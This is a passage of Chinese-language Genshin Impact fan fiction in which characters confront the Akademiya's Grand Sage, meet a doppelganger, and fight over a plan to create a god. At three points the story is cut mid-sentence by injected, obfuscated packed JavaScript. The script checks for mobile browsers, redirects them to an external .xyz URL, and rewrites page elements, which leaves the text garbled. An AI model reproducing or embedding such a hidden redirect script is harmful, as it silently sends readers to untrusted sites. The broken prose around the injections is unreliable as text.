眼下教令院的情况不至于像卡斯珀所说的那样糟糕,但实际情况也好不到哪去。 散兵先一步返回降神工坊,从研究员口中得知教令院要求尽快恢复能量供应。 按照原本的安排,月见里清也本该在明天重新进行机体连接,恢复能量供应。现在这一天的时间都过去了大半,早几个小时晚几个小时根本没意义。 至于教令院是如何知道月见里清也不在的,也不难猜,毕竟他杀了一个切片,博士肯定不会无动于衷。但博士出手,恐怕教令院知道的就不仅仅是月见里清也不在工坊这种小事了。 就像以前说的那样,那帮学者对虚空系统有盲目的信任和依赖,他们并不相信权限就这么轻而易举的落入他人之手,于是便借着这个由头前来打探。 当然这只是散兵的推测,但从教令院的反应来看,估计八九不离十。他心里知道教令院在打什么算盘,无非是他们已经知道月见里清也不在工坊内,想要打自己和月见里清也一个措手不及。 拖住他们对散兵来说易如反掌,而另一边处理完伤口的月见里清也把干净衣服往身上一套,便带着卡斯珀前往实验室专用的升降梯。 工坊实验室内,散兵屏退了那些研究员和学者,只留下了奉了大贤者命令过来的那些人,“几位究竟是担忧月见里清也的身体能不能抗住机体连接,还是为了确认什么事,恐怕你们心里清楚。” “就不用说那些冠冕堂皇的说辞了,明着说吧,来找我所为何事?”散兵语气带着几分漫不经心,但不知道为什么,却让在场学者不寒而栗,脑海中总是能浮现梦境系统崩溃的后他质问大贤者的那一幕。 众学者你看看我我看看你,都不知道这话该怎么回答,他们其实也不知道发生了什么,大贤者只给他们留下一道命令,就是来确认月见里清也在不在工坊内。 但月见里清也所在的医务室需要特殊权限才能进去,想见到他绝对绕不开散兵这里。 “既然你们说不出个所以然来,”散兵说,“不如去把大贤者请来让他和我当面谈,如何?” 他一步也不退,而学者也不可能去把正在忙着主持识藏日的阿扎尔叫来,双方僵持着,就在这时实验室内传来第三个人的声音。 “劳烦几位学者挂念,只是我没想到自己在诸位心里如此重要,还真是受宠若惊。”月见里清也说着,从实验室另一侧的大门中走出,“我的身体情况就不劳各位费心了,我有信心不会耽误机体连接。” 他的脸色有些苍白,但眼神却十分清明,学者们没察觉到异样,看到他出现的那一刻,纷纷松了一口气。 学者的目的就是为了确认月见里清也是否在工坊内,只要见到他就可以回去交差。至于在哪里见到他,都是些无关紧要的小事情。 将这帮学者打发走,实验室里就只剩下散兵、月见里清也还有卡斯珀。 趁着这个机会,月见里清也和散兵对视一眼,欲言又止的看向卡斯珀,想问的问题太多,一时间不知道要怎样开口。 仔细想来,卡斯珀出现在奥摩斯港的时间太过诡异,先不说他为什么去而复返,就凭他正好撞上月见里清也杀完博士切片的时间就很值得深思。 散兵知道这件事也是月见里清也临时通知他的,具体时间也只有他们二人知晓,早就离开须弥的卡斯珀是如何得知的呢?以及,他又是通过什么样手段得知了教令院的一举一动? 虽然散兵和月见里清也还没开口,卡斯珀知道他们要问什么,他叹了口气,一言难尽道:“说来话长。” 卡斯珀出发的当天,在登上返回至冬的船之前,他遇到了一个穿着奇怪的人。 “须弥的气候适人,比至冬好不少吧。”那人全身被一件斗篷遮的严实,看不清面容,走到卡斯珀身旁说,“不再多留一阵?” “是好不少。”卡斯珀挑眉说,“一般人看见我这身衣服都不会上来搭话,有事不妨直说。” “我能有什么事呢,只是在等人罢了,只可惜他被家长看得严,我已经很长时间没见过他了。”披着斗篷的少年收回了搭在栏杆上的手,指了指那边已经开始登船的愚人众说,“你的同伴都已经开始登船了。” 卡斯珀没动,依旧盯着少年,而少年像是丧失了一开始的兴趣,没再说什么,转身离开。 少年走的十分果断,好像真的是个普通路人。但卡斯珀总觉得这事没那么简单。果不其然,在他登船后,他站在甲板上看向岸边时,有看到了那一抹熟悉的身影。 少年逆着人流快步行走,一个扛着货物的工人不慎撞到了他的肩膀,兜帽滑落的一瞬间,站在船上的卡斯珀不可置信的瞪大了双眼。 藏在兜帽底下的是一头绀色的长发,即便面容被绷带遮住的大半,侧脸的轮廓和未遮住的右眼几乎与月见里清也如出一辙。 尤其是那眼睛,几乎与月见里清也的狐狸眼一模一样,像到用一个模子刻出来的一样。 卡斯珀将这一切尽收眼底,他死死盯住少年,几乎怀疑自己眼花了。 若不是那人说话的音色与语调都与月见里清也不同,卡斯珀几乎怀疑那是月见里清也的伪装。 但是这不可能,月见里清也这个时候还在医务室躺着,为了避免暴露他是不会轻易现身的,所以那个少年到底是谁? 眼看少年利落的戴好兜帽,马上就要混入人群不见身影,卡斯珀没有丝毫犹豫,单手撑住甲板的围栏,直接翻身越过船舷,跳下船只。 身后船上的同事还在喊他,卡斯珀只当没听见,拨开人群直冲少年而去。 然而在他追着少年来到一处僻静的树林时,对方就像神秘蒸发了一般,瞬间消失在眼前,找不到少年的任何踪迹。 他有些烦躁地甩了甩尾巴,这时一只手从身后伸过来,轻轻搭上他的肩膀,“在找我?” 卡斯珀浑身一激灵,下意识抬脚向后踹去。少年猛的向后撤步,灵巧的避开了这一击,“见面先动手是你们愚人众的传统吗,一个个都这么暴躁?” “你到底是谁?”卡斯珀没心情和他闲谈,冷声问道。 “我?叫我青羽澈就好。”青羽澈笑着说,“别紧张,你的那些老朋友都认识我,从立场上来看,我想咱们应该算同一条船上的同盟?” 卡斯珀并不信青羽澈的一面之词,依旧没有放松警惕,“我问的不是这个。” 青羽澈有些无辜道:“那是什么呢?” 眼见他还在装愣,卡斯珀尾巴摆动幅度越来越大,最后的耐心也被消磨掉,直接伸手向着青羽澈的斗篷抓去。 靠着长生种血脉的优势,卡斯珀的反应比普通人快不少,但在他抓住斗篷的同时,手指却径直从里面穿过,抓了把空。 “一点小手段罢了。”青羽澈的身影逐渐变得模糊,他幽幽的说,“我说了,须弥的气候宜人,可以不着急返回至冬的。” 卡斯珀错愕地看向自己的手掌,闻言猛的反应过来,看向手表,距离开船时间已经过了十分钟。 他抬眸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478169|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向变成虚影的青羽澈,“你是故意的。” 从他站上码头开始,青羽澈就盯上了他。 先是搭话引起自己的注意,再借用月见里清也的面容引自己跳下船,错过返回至冬的船留在须弥。 “答对了,不过我没准备什么奖励给你。”青羽澈说,“但我确实没有什么恶意,就像我之前所说,我在等人,但斯卡拉姆齐看得实在太紧,我见不到月见里清也。” 他说着微微扬起下巴,带着几分说不上来的傲慢,“麻烦你替我转达一下,如果斯卡拉姆齐不想让他亲爱的弟弟在降神计划后作为‘可回收能源’被博士带走,那就让我和月见里清也见上一面。” 听见“带斗篷的少年”和“青羽澈”这几个熟悉的字眼,散兵眉心一跳,心想果然这小子出现都没好事。 但事关月见里清也,散兵对他有任何不满也只能先忍着。他转头看向月见里清也,却发现对方正在发愣,不知道在想什么。 “在想什么?”散兵问道。 月见里清也猛的回神,顿了顿才开口:“我好像知道我另一块核心断片在哪里了。” 他之前一直在猜青羽澈寄身的地脉被藏到了哪里,既然藏在自己身上至今还没被他发现,那肯定不是随身携带之物。 但又能跟着自己从至冬来到须弥的东西少之又少,思来想去都没有什么头绪,直到听见卡斯珀这句话。 记得在叛逃之前,他们从丑角那里接到去蒙德调查陨石的任务,刚从璃月港下船就被两个盗宝团跟踪。 虽然他们在最后被散兵逼得改了口,但月见里清也依旧记得他们的原话:一个长得与他极其相似的人以一个古董银饰作为报酬,向他们发起了委托。 很巧的是,那枚银饰月见里清也并没有扔,而是带来了须弥,就放在他们之前住所中。 “那两个盗宝团并没有说谎,这也就意味着……”散兵皱着眉,似乎不愿意将那句话说出口。 月见里清也沉思片刻,将令人毛骨悚然的结论给压下去,提了另一种可能性,“也不一定,他是依靠地脉存活的记忆体,记忆是可以选择以不同的方式存在于世上。” 青羽澈曾经对博士说过,自己和月见里清也是两个不同的个体。 只是他为什么那么执着于以月见里清也的身份在旁人面前现身,就是另一个值得思考的问题了。 卡斯珀看着有来有回的两人,总感觉这画面熟悉的很,好在散兵和月见里清也还没完全遗忘他,准备简单的讲一下关于青羽澈的事。 就在这时,月见里清也和散兵手腕上的通讯器亮起光芒,紧盯空一行人行动的暗线送来消息: 【旅行者闯入大贤者办公室被发现,被关押起来,他的同伴同时借助虚空终端发布错误消息,已经惊动大贤者,】 月见里清也刚把消息看完,下一秒,实验室的大门再次被推开,刚走没一会的学者去而复返,月见里清也和散兵手腕微不可察地一动,那点元素力构成的消息瞬间消失在众人眼前。 领头的那位学者一脸严肃,再也不见方才面对散兵时的唯唯诺诺,他站在月见里清也面前说:“大贤者有请,跟我们走一趟吧。” 月见里清也眉尾一挑,看着眼前的架势,恐怕自己只要说一个“不”字,他们就要强行架着自己走了。 阿扎尔这是发现虚空出了问题,所以相信了博士的说辞,认为是我动的手脚? 月见里在心里默默想着。 但不论怎么说,大贤者这时候想见自己也正合月见里清也的意,月见里清也抱着胳膊跟散兵交换了一个心照不宣的眼神,随后才看向眼前的学者,“带路吧。” 83.如临神之畔(其二) 虽然月见里清也不清楚空一行人的具体计划,但对于空被大贤者抓起来一事,月见里清也觉得这是他故意为之 ,但不管怎么说,他们的计划能够成功进行,也就代表了月见里清也的计划距离成功又近了一步。 也是因为这个原因,月见里清也的心情好了不少,跟正在办公室暴躁如雷的大贤者形成了鲜明对比。 阿扎尔屏退了办公室其他人,只留下了自己和月见里清也两个人,他皮笑肉不笑地看着月见里清也,“月见里先生还真是好手段。” “这没头没脑的话我可不敢接,谁敢在大贤者面前玩弄手段呢?”月见里清也话里带着几分恰到好处的疑惑。 这话说的恭维,但态度随意,落到阿扎尔耳朵里就变得十分刺耳,他重重一拍桌子,声音猛的拔高,“你不用在这里装傻,难道虚空里的错误消息不是你的手笔!” 月见里清也没有被阿扎尔的气势吓到,平静的说:“证据呢?大贤者凭什么认定这事就是我干的?” “哼,不见棺材不落泪。”在阿扎尔冷声说,在他的眼里,月见里清也就是一个窃取虚空权限还抵死不认的小偷。 他说着将一个虚空终端扔到月见里清也面前,月见里清也在耳边带好,脑海中浮现出一道命令: 【小吉祥草王已经逃离净善宫,立即赶往城内搜捕!】 “看清楚了吗?这里本该颁布的是刚刚制订出来的艺术禁令,它是怎么变成这条消息的,恐怕你最清楚不过了。”阿扎尔说,“不管你用什么方法窃取了权限,现在这场闹剧该结束了。” 月见里清也闻言心中瞬间了然。 空他们定制的计划,先潜入阿扎尔办公室将教令院准备的禁令替换成虚假的消息,引起教令院的恐慌,好借机营救草神。 而自己因为博士一开始的告密,替代他们背了锅。 “这也仅仅只能代表虚空内的消息被人修改了,并没有明确证据指向我。”月见里清也看完消息后并没有将虚空终端摘下,他抬眸看向阿扎尔说,“我很好奇,大贤者这么确认就是我所为,是有什么人告密吗?” 阿扎尔神色一僵,但随后冷哼一声,“事到如今,还要顾左右而言他。” “虚空系统不像你知道的那样简单,能被你窃取到的,不具备什么太高的权限。”阿扎尔话音刚落,守在门外的士兵鱼贯而入,将月见里清也团团围住。 “我劝你识相一点,赶紧把权限交出来,还能少吃一点苦头。” 月见里清也闻言一笑,“如果我说不呢?” “自讨苦吃。”阿扎尔说着,给卫兵使了一个眼神。 为首的士兵伸手抓向月见里清也的肩膀,但在他的手掌搭上月见里清也的肩膀的前一刻,一个想法突然出现在脑海中,告诉他不应该触碰眼前的人, 这个想法出现的突兀,没有任何源头,明明他是奉了大贤者的命令,可大脑却告诉他:你不应该这么做。 月见里清也抬眸看向那只手的主人,眼里的笑意逐渐变冷,“知道吗,我最讨厌别人随便碰我。” 卫兵被他眼里的冷意刺到,像是被烫到一般迅速将手收回,脱口而出,“非常抱歉。” 话刚说完他自己也愣住了,几乎是有些惊恐的望向自己的同伴,却见同伴也与他一样,本该往前走的步伐纷纷向后退,退至大门旁。 “你们……”阿扎尔看向违抗自己命令的士兵几乎怒不可恕,随后他猛的反应过来,看向始终泰定自若站在原地的月见里清也。 月见里清也声音一如既往的平静,“既然大贤者不想好好谈,我也没必要在跟你继续在这浪费时间了。” 说着他停顿片刻,甚至都没回头,“这里没你们的事了,出去。” “你们敢!”阿扎尔吼道。 但卫兵对阿扎尔警告罔若未闻,月见里清也话音刚落,他们就已经将门打开走了出去,甚至还贴心的将门带上。 办公室内又只剩下他们二人,月见里清也缓步走到办公桌前,“现在,认不清形式的人究竟是谁?” 阿扎尔胸口剧烈起伏着,喘息道:“意识投放?怎么可能……” 他话还没说完,一个不属于他的想法在脑海中冒出,下一秒他的身体就遵循着这个想法,老实的闭嘴坐在位置上。 “聒噪。”月见里清也说,“我确实有虚空权限,但你凭什么就认为我的权限要比你的低呢?” “最高权限不光能意识投放,甚至还可以修改认知。”月见里清也双手撑在桌前,俯视着阿扎尔,忽然露出一个恶劣的笑,“你信不信我现在就可以让你从大贤者的位子上滚下来?” 这句话像一道惊雷,在阿扎尔脑海中炸开。 虚空系统的最高权限只有神明才能拥有,就连自己这个大贤者,拥有的权限等级还是要排在神明之下。 月见里清也怎么能……他怎么会! 阿扎尔的脸色瞬间变得惨白,除了惊恐,他的脑子里只有一个想法,那就是自己贤者的位置绝不能丢。 月见里清也直起身,漫不经心的拍了拍衣服上并不存在的灰尘,“虚空终端的消息不是我篡改的,你与其怀疑我,不如想想今天到底那些环节出现了意外。” 他点到为止,阿扎尔顺着他的话往下想,几乎是立马想到了刚被自己关起来不久的旅行者,以及在那时突然陷入疯狂冲向桌子的艾尔海森。 “至于他们要干什么也就不用我多说了吧。”月见里清也注意到阿扎尔的神色变化,继续说:“你现在可以去投奔草神,去忏悔你所做的一切,但我必须告诉你,两边倒的墙头草是没有好下场的。” “现在,阿扎尔先生,请你告诉我,你是要选择作为学者的风骨,还是要选择活着?” 处理完教令院这边的事,月见里清也刷卡等升降梯的时候,头也不回的说:“跟了一路了,戏还没看够?” “好久不见。”青羽澈的身影在他身边浮现,说着他叹了口气,“想找一个单独时间见你可真难。” 这话听着有点怪,月见里清也闻言挑了挑眉,“这话自己听着不心虚?” 月见里清也借着病假窝在医务室的时候,一天有绝大部分的时间都是自己一个人,青羽澈想避开散兵来见他,有的是机会,何必让卡斯珀给散兵带话。 “难道不是某些人特别喜欢跟自己哥哥报备吗。”青羽澈轻笑一声,揶揄道, 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“核心的对他的诱惑非常大,所以我给你两个方案。第一,让降神计划完美完成,到那时以你的位格和力量,抗衡薄荷乌鸦不是什么难事。”青羽澈一顿,视线扫过月见里清也,“第二方案,让我带月见里清也走。” 几乎是同一时刻,青羽澈话音刚落,就听月见里清也和散兵同时开口。 “不可能。” “我不同意。” 月见里清也冷笑一声,“有好的计划就说,不说就滚,不用来这里说这些废话。” 第一个方案散兵和月见里清也自然会努力,但让青羽澈来,本就是为了提供更多的方案。 而青羽澈既然敢这么从容的跟着月见里清也来见散兵,肯定不是在这里提出这些明知道会被拒绝计划来的。 “好吧,我就知道你们不会同意,所以只能用第三个方案了。”青羽澈故作无奈的叹了口气,拿出了一个巴掌大的木匣,“我需要你们把这个东西激活,用它换月见里清也的核心。” “这是什么?”散兵沉声问道。 青羽澈也不打算买关子,指尖一挑,直接将木匣打开。 月见里清也离得近,在看清里面的事物时,呼吸突然一滞,猛的抬头看向青羽澈。 木匣中的神樱枝条环成半圆状,半包住一朵剔透的樱花,不管从质地还是形状上来看,都与月见里清也的核心分毫不差。 散兵表面上仍维持着平静,看着和平时没有两样,但过于紧绷的声音,和在身侧紧握起的拳头和发白的指尖,将他心中的情绪暴露无遗。 “想用赝品骗多托雷?”他嗤笑一声,“恐怕有点太异想天开了。” 青羽澈闻言轻笑一声,“谁说它是赝品,只要你能在激活一次,它就跟月见里清也身体里的那个一般无二。” 他说着将木匣重新合上,“只不过,没有记忆支撑,我手里的这个就只是空壳罢了。” “二位,不,三位。”青羽澈撇了一眼站在一旁没说一句话的卡斯珀,说,“左右都是赌,比起在降神计划死耗,为什么不多给自己留条退路?” 84.如临神之畔(其三) 与此同时,另外一边。 月见里清也离去时的话依旧回荡在阿扎尔的耳边。 是选择作为学者的风骨,还是选择性命。 答案显而易见,这从来不是一个选择题,对阿扎尔来说,他眼前只有一条路。 想到自己迄今为止干过的事,跟着月见里清也,他或许还有一条活路,但倘若去找草神,那就是必死无疑。 阿扎尔的目光停在桌上的某一处,那里曾经放着那枚被替换掉的艺术禁令。 虚假消息目的是引起教令院的慌乱好救出草神,月见里清也为什么如此笃定会他们营救草神?甚至对他们的行为丝毫不意外,像是早就已经知晓。 这是否能表明,他们早就串通一气? 这个念头一出现,几乎占据了阿扎尔全部的理智,脑中只剩下这个念头。 倘若月见里清也早就和草神有所勾结,那么他拥有的最高权限也有了解释,以虚空权限换取自身自由,这对身在牢笼的草神来说并不是一个亏本的买卖。 只要这点通了,一切疑问也就迎刃而解。 那条虚假消息扰乱了自己的注意力,但两个主谋一个被关押起来,另一个被流放到阿如村,他们该如何营救草神? 除非他们还有后手,这个内应的人选不能引起自己的怀疑,参与降神计划的月见里清也就是一个很好的人选。 阿扎尔想到这,突然扯出一个诡异的笑容。 他们的计划安排的很好,只可惜,他并非毫无准备。 方才与月见里清也对峙的时候,他一时间乱了方寸,导致他忘了,自己眼下这种不得不投靠月见里清也的局面,一切都建立在旅行者他们都已经救下草神这个基础上。 可万一他们从来没有救出草神呢? 自那次梦境系统崩溃后,教令院对关押草神的装置进行了全面的升级,而打开装置的密钥只有自己掌握着。 即便月见里清也的权限再高,也不可能打开关押草神的牢笼。 月见里清也刚才在自己面前演的那出戏,无非就是让自己听命于他,好借机规整整个教令院,再去向草神要功。 可惜了,并非月见里清也会留后手。 阿扎尔绝不可能坐以待毙,他张了张嘴刚想把门外的卫兵喊进来,但话还没能说出口,他转念一想,又将还没说出口的话咽了回去。 这件事他不能借他人之手,必须去自己亲自去往净善宫查看;他要亲自确认草神还仍被关押着,一切都还在掌控之中。 阿扎尔离开教令院前往净善宫的消息,几乎是同步传进月见里清也这里。 对于阿扎尔自寻死路的行为,月见里清也并不阻拦,嘴唇一动,微不可察的吐出两个字,“蠢货。” 但阿扎尔在计划中也不是什么重要的一环,人各有命,月见里清也自然尊重他的选择。 而阿扎尔的下场,已经不需要多言。 纳西妲恢复自由后做的第一件事,就是解除了虚空对自己的封锁,以及从贤者手上收回了虚空权限。 只不过一瞬,在贤者手上运转多年的虚空系统,就重新回归到了仅由神明操作的状态。 这个改动对月见里清也并没有影响,毕竟特殊权限在虚空的底层逻辑里等同于神明拥有的权限,从某种意义上来说,拥有特殊权限的月见里清也在虚空眼中也是“神明”。 靠着这个特殊的权限,月见里清也几乎是立刻察觉到了草神的行动。 然而这种察觉是双向的,就像月见里清也可以察觉到草神一样,纳西妲似乎也察觉到了不对劲。 “怎么了,纳西妲?”空敏锐的注意到纳西妲眼中的迟疑。 派蒙也围了过来,“是虚空还有那些问题没有解决吗?” “不,虚空系统并没有什么大碍。”纳西妲摇了摇头说,“只是在我在收回权限时,在虚空中察觉到了一个从未见过的用户访问的痕迹。” “是某位贤者的后手?”空连忙追问。 “并非他们,这个权限等级很高,几乎可以与我的权限平起平坐。”纳西妲说。 空陷入沉思,“会不会是教令院建造的‘伪神’?” 但这也说不通,倘若教令院真的有伪造神明权限的能力,他们何必要如此大费周章的举教令院全部的力量,去建造一个伪神? 而问题的答案此时在教令院之下的工坊内,月见里清也垂眸凝视着虚空弹出的提示框。 【请确认是否要执行此操作。】 他手指在空中停顿片刻,抬头望向跟正机之神连接在一起的散兵,“融合信仰的力量需要时间,但别担心,在你醒过来之前,我不会让任何人前来打扰。” 神明的力量主要依靠民众的信仰,而月见里现在要做的,就是将他在梦境崩塌时就准备好的东西重新启动。 “究竟是谁在担心?”散兵挑眉,并不接月见里清也的话。 “好吧,我也不担心。”被点破心事的月见里清也笑了笑,改口道。 随后,他不在犹豫,点了弹窗上的“确认”。 这东西之前一直藏在须弥民众的潜意识之中,时至今日,终于到了使用它的日子。 这一份特殊的记忆里储存着月见里清也作为“梦主”编造的梦境。现在月见里清也只需要通过虚空系统将这份记忆替换掉民众原本的记忆,就可以修改他们的认知。 从此在他们眼中的神明只有一位,那就是月见里清也眼前的七叶寂照秘密主。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508081|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这就是月见里清也为新神献上的最后一份礼物。 如此,他的神明才算真正诞生。 同时月见里清也心里清楚,这番操作肯定会被草神察觉,但在两人权限相同的情况下,谁也奈何不了谁。 但就像月见里清也说的那样,在散兵彻底融合这部分力量之前,他不会让任何人前来打扰。 只可惜,不请自来的访客并不会跟他商量登门时间。 工坊的大门被猛地推开,月见里清也闻声叹了口气,“比我预料的要早呢。” 他说着回头望向三位不请自来的客人,脸上挂着一副恰到好处的微笑,“晚上好,三位。这场景还真是熟悉,好像在梦境里见过。” 纳西妲与空、派蒙的身影出现在门口,他们的目光瞬间锁定在月见里清也,还有他身后那尊静默的“七叶寂照秘密主”,以及尚未醒来的散兵的身上。 “现在看来,你还真是谎话连篇。”即使有心理准备,空在见到月见里清也的一瞬间,一股无名的怒火涌上心头。 “我?”月见里清也轻笑了一声,仿佛听到了什么好笑的话一样,“我们的确从愚人众叛逃了,博士也确实找上了门,接受他的提议参加降神计划,也确实能帮我们躲避通缉。” “但我不想受制于教令院和博士,所以我需要在降神计划完成后借你们之手,扳倒教令院,这时博士对我们而言,已经构不成威胁了。”月见里清也说,“至于梦境系统,从一开就是一枚棋子,我当然不会让哥哥牵扯到这件事里来。” “至于神之心就该待在神明的手中,不是吗?”月见里清也轻声说,“我从未骗过你们,只不过并未将事情的全貌告知罢了。” “我不是告诉过你,不要轻易相信自己眼睛看到的东西。”月见里清也说着,从流水中抽出自己的长刀,“因为那未必就是真相。” 纳西妲上前一步,手中萦绕着元素力,“我在虚空中察觉到了你的行为,但我不明白,你为何要选择这条道路?用虚假的信仰堆砌神座,这绝非正途。” “正途?”月见里清也的笑声中带着讥讽,“请问草神大人,什么才称得上‘正途’?倘若只有遵循世人眼中的对错,才能被称为正确的话,谁又能证明世人眼中的对错就一定真理呢?” “神明的诞生从来不会缺少战争,几千年前如此,现在亦然。”月见里清也说。 他话音刚落,一抹银白色身影突然跃至月见里清也身前,巨大的银白妖狐怒吼一声,利爪挥过,精准的斩断了悄悄伸向散兵的草元素力。 月见里清也伸手在无相使的侧颈上拍了拍,示意它安静,他看向纳西妲,沉声说:“神明诞生尚且需要时间,在此之前,你们的对手是我。” 85.抵达彼岸之前(其一) 月见里清也并未连接无相使,只是暂时通过牵丝来控制它守在正机之神旁边,自己则直面空的攻击。 他单手持刀架住空的攻击,手腕灵巧一转,想借机挑飞对方的剑刃,却不想空早就有所防备,两股元素力相撞,一时间僵持不下。 不知是不是空的错觉,比起上午月见里清也和博士拼命一般的厮杀,他总觉得月见里清也这次的攻势收敛了很多。 然而月见里清也没给空太多探究的时间,他的身影化作水雾消失在原地,空还记得意识空间中的交锋,早已把月见里清也的战斗风格了解个透彻。 空迅速回身后撤,谨防月见里清也从背后偷袭。 空中水线交织,长刀划过,月见里清也闪身而出,高速移动的动作不可避免的牵扯到了他腰腹的伤口,月见里清也动作一顿,他能感觉到还没长好的伤口又重新撕裂,温热的血逐渐涌出。 但他面色如常,被斩落的水珠带着破空之声,如同骤雨一般落向地面。 空轻盈的闪身避开水珠攻击,视线扫过汇聚在地上的水洼,在心里估算了一下自己和月见里清也之间的距离,借着这个机会,催动雷元素迅速向正机之神靠近。 月见里清也自然不会让他得逞,无相使尾巴一甩,狐尾尾端的利刃划过,逼得空拧身躲开,并不还击。 流水勾勒的丝线重新在空的面前交织,月见里清也挥动长刀带动的水光也越来越大,直接将空逼退数米,“我说过了吧,你现在的对手是我。” 空却冲月见里清也一笑,他等的就是月见里清也动用水元素力的一瞬间,手上翠绿色荧光闪过,精准的向着那道浪潮打去。 环绕在月见里清也周围的流水与藤蔓相撞,绽放生成的草原核零落散在四周,空迅速凝聚起雷元素,猛地引爆所有草原核。 月见里清也迅速后撤,但被雷光激化过的草原核已经锁定了他,蔓生弹眨眼间便飞至眼前。 这一击月见里清也避无可避,靠着本能快速挥刀将其斩落,紧接着肩膀处的伤口也开始崩裂,月见里清也挥刀动作迟缓一瞬,刀刃与蔓生弹擦肩而过。 他迅速转身避开,但草原核中裹挟的叶片还是从他脸颊划过,留下一道醒目的殷红。 “能够灵活运用多种元素力,反应力也在上乘,你的实力不差,愚人众该更新一下你的有关情报了。”月见里清也抬起左手,满不在意的抹了一把伤口,以此来掩盖因疼痛而微微颤抖的右手。 可他再怎么隐藏,也无法遮盖被鲜血染的鲜红一片的衣服。 空看到月见里清也衣服上的血迹,意识到月见里清也受的伤并没有康复,此时实力大打折扣,他借机迅速前压,“你的伤还没好。” “怎么,要你要手下留情?”月见里清也语气轻快,左手突然收拢。 方才打斗时留在地上积水突然涌动起来,化作无数幽蓝藤蔓从四面八方袭来,迅速将空缠绕束缚。 这些藤蔓深深扎根在地板上,空越是挣扎反抗,藤蔓越是收的越紧。 幽蓝藤蔓缓缓长出尖刺,在即将扎进去的前一秒,空手中草元素刺入藤蔓中,翠绿色的光迅速蔓延,几乎要将这水元素造物撑裂。 月见里清也并未放弃桎梏,他右手手腕一抖,青色的长刀裂成无数碎片,接着重重往下一压。 碎片撞向即将碎裂的藤木上,下一秒,马上要被草元素强行撑破的藤蔓也齐齐爆炸,水珠化作尖锐的水刃,一时间蓝色的水元素力席卷了整个场地。 这一击过后,月见里清也的脸色白了片刻,周围逸散的水元素重新汇聚在月见里清也眼前,他握住轻轻一甩,青璃谭重新在他手中聚合而成。 伤口撕裂比受伤时疼得要多,但对月见里清也来说,这点伤在深渊中也算家常便饭了,还没到撑不住的时候。 信仰融合还需要时间,何况还有一个拖延时间的草神。 月见里清也这样想着,视线越过严阵以待的空,望向位于后方的纳西妲。 他们一开始的战术就是通过空来牵扯住自己,而纳西妲则远离战场,将全部心神沉入虚空系统之中,想要延缓,甚至试图阻止篡改记忆的指令。 散兵现在还未醒来,月见里清也身无乏术,阻拦空的进攻就意味着他无法兼顾虚空系统。 月见里清也发出一声微不可察的冷笑,他现在能做的,只有为散兵争取到足够的时间,哪怕代价是他自己。 他握紧青璃谭,刀尖再次指向空,重新看向空的眼神中再也不见方才的虚弱,仿佛肩膀与腰腹正在不断渗血的伤口都与他无关,“继续。” 月见里清也方才那一招看似威力很大,但对于能够使用多种元素力的空而言,造成不了实质性的伤害。 只是在他手和脸上留下了些小伤口,二人初探对方实力结束,彼此之间都挂了彩。 空看着衣服都快要被鲜血染透的月见里清也,“再打下去,你的伤口恶化的会更快,值得吗?” “我有破绽,难道对你来说不是好事吗?”月见里清也率先向对方冲去,“永远不要同情你的敌人。” 说着他身影忽然一晃,整个人如同鬼魅一般消失在空的面前。空瞳孔骤缩,等他反应过来时,月见里清也的身影已经落在他身后几米之外,离纳西妲和派蒙不过咫尺。 他是分身乏术,所以擒贼先擒王是最好的选择。 落在后面的空手中剑雷光闪烁,以前所未有的速度奔袭至纳西妲和派蒙身前,险险挡住月见里清也的攻击,两种力量相撞,激荡的元素乱流让地面都跟着颤动。 下一秒空目光一凛,将剑刃下压,逼向月见里清也受伤的右肩,月见里清也吃痛,咬着牙横刀架住攻击,同时脚下水元素涌动,眼见藤蔓就要再次蔓延上来。 但就在这时,纳西妲突然脱离虚空系统,一直飘在二人旁边的漂浮物突然飞至空和月见里清也身前。 这东西在空和纳西妲刚进工厂时月见里清也就注意到了,看着就像个会飞的立方体,大小和同为漂浮物的派蒙差不多大,只静静跟在他们身后,一时间让人看不透这是干什么的,月见里清也也就暂时将它忽略。 但它此时核心亮起光芒,精准的锁定了月见里清也,一道蕴含着无数能量的翠绿光束直冲月见里清也的胸口贯去。 月见里清也见状迅速后撤,但在他行动的前一刻,无数细丝缠绕住他的四肢,扎入他关节的皮肉中,带着他迅速后撤,直到落在无相使的身上。 被牵丝操控着的月见里清也不能自主行动,只能任由操作者操控。月见里清也扭头望向正机之神,见散兵不知何时从虚空中苏醒,睁开了双眼,正看着自己。 月见里清也一愣,迅速看了一眼虚空的进度,不由得心下一沉。 信仰融合力量还未完成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我有必要提醒你,哥哥。”月见里清也的心声在散兵耳边响起,“信仰融合并未完成,中断了就再也无法继续了。” 而回应月见里清也的,是无相使的导管与接口链接时的短暂疼痛。散兵在确认链接无误后才说,“你提供的就足够了。” 导管和月见里清也背后的接口连接,无相使三条狐尾的尾尖染上一层幽深的紫色。如果说刚才和月见里清也分开行动的无相使更像一个用丝线操纵的玩偶,那现在的无相使就如同一只栩栩如生的狐狸。 